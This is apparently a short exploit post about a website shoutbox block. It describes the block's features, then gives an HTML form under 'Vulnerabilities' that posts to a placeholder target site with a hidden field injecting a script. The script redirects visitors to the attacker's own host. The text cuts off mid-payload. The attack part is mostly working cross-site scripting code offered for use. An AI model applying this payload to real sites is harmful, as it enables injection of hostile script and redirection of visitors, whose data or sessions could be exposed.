This is your basic shoutbox. Your registers users type in a message and click shout. Guests on your site (if you give them access to the block) will type in their name, email address and message before clicking shout. The format of each 'shout' is Date, Name, Message. If a registered user posts a shout, their name becomes a link to their profile. If a guest posts a shout, their name is a mailto: to the email address they entered. Vulnerabilities: ---------------------------------------- Create an html file : <center> <form action="http://WWW.TARGET.COM/index.php?action=shout" method="post"> <input value="http://WWW.TARGET.COM/index.php?" name="qstr" type="hidden"> <input value="" name="email" type="hidden"> <input value=" <SCRIPT>location.href='http://WWW.YOURS